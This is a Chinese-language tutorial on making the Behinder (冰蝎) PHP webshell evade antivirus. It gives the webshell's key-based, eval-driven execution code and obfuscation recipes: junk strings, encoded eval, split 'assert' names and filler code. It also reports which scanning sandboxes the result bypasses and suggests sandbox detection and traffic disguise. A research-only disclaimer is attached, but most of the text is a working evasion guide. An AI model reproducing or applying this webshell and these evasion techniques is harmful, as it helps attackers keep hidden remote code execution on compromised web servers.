冰蝎php马免杀思路
字数 1193 2025-08-19 12:42:02
冰蝎PHP木马静态免杀技术详解
一、冰蝎PHP木马原理解析
冰蝎是一款流行的Webshell管理工具,其PHP木马主要特点如下:
- 基本结构:
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; // 32位md5值的前16位
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
- 解密机制:
- 优先使用OpenSSL的AES128解密
- 无OpenSSL时使用base64解码+XOR异或运算
- 执行机制:
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
二、静态免杀核心思路
1. 字符串混淆技术
实现方法:
- 在代码中插入大量无关字符串和垃圾字符
- 这些内容放在PHP执行代码之外,不影响实际功能
- 目的:干扰杀毒软件的静态特征检测
示例:
/* 大量无关字符串开始 */
$dummy1 = "This is just some random text...";
$dummy2 = "Webshell detection is hard for AV...";
/* 大量无关字符串结束 */
2. 编码转换技术
UTF-8编码转换:
- 将主体代码转换为UTF-8编码形式
- 运行时再进行解码执行
- 优点:杀软对base64敏感但对UTF-8较友好
实现示例:
$encoded = "编码后的PHP代码";
$decoded = mb_convert_encoding($encoded, 'UTF-8', 'HTML-ENTITIES');
eval($decoded);
3. 函数名混淆技术
字符串拼接:
- 将关键函数名如
eval、assert拆分为多个部分 - 运行时再拼接执行
PHP 7.1以下版本示例:
$func = "a"."s"."s"."e"."r"."t";
$func($some_code);
注意事项:
- 此方法仅适用于PHP 7.1以下版本
- PHP 7.1+中assert变为语言构造器,不再支持这种调用方式
4. 冗余代码注入
实现方法:
- 添加大量不影响主逻辑的冗余函数和计算
- 如无意义的数学运算、数组操作等
示例:
// 冗余计算开始
$tmp = 0;
for($i=0;$i<100;$i++) {
$tmp += $i * rand(1,10);
}
// 冗余计算结束
三、实战免杀方案
1. 基础免杀步骤
- 保留原始冰蝎PHP木马的核心功能
- 添加大量无关字符串和注释
- 对关键函数名进行拆分拼接
- 注入冗余计算代码
- 对部分代码进行UTF-8编码转换
2. 查杀平台测试结果
| 查杀平台 | 免杀效果 |
|---|---|
| VirusTotal | 全过 |
| 360沙箱云 | 未检测出 |
| 微步云沙箱 | 险胜 |
| 大圣云沙箱 | 被检测到 |
| 阿里云沙箱 | 被检测到(eval特征) |
| 安恒云沙箱 | 被检测到 |
3. 局限性分析
- PHP版本限制:部分技术(如assert拼接)仅适用于PHP 7.1以下
- eval特征:高级沙箱仍能检测eval执行动态代码的特征
- 动态检测:仅静态免杀无法对抗动态行为分析
四、进阶建议
- 深度二开:修改冰蝎管理端,改变加密方式和通信特征
- 流量混淆:对通信流量进行额外加密和伪装
- 特征隐藏:修改eval等敏感函数的调用方式
- 环境检测:添加环境判断,在沙箱中表现正常行为
五、法律与道德声明
- 本文仅用于技术研究和防御目的
- 禁止在未授权环境中测试或使用这些技术
- 请严格遵守《中华人民共和国网络安全法》
- 所有测试应在自己搭建的合法环境中进行
六、总结
冰蝎PHP木马的静态免杀主要通过混淆、编码和冗余代码实现,核心是干扰杀毒软件的静态特征检测。虽然这些方法能绕过部分查杀平台,但对抗高级沙箱仍需结合动态免杀技术。实际应用中应考虑综合防御策略,而非依赖单一技术。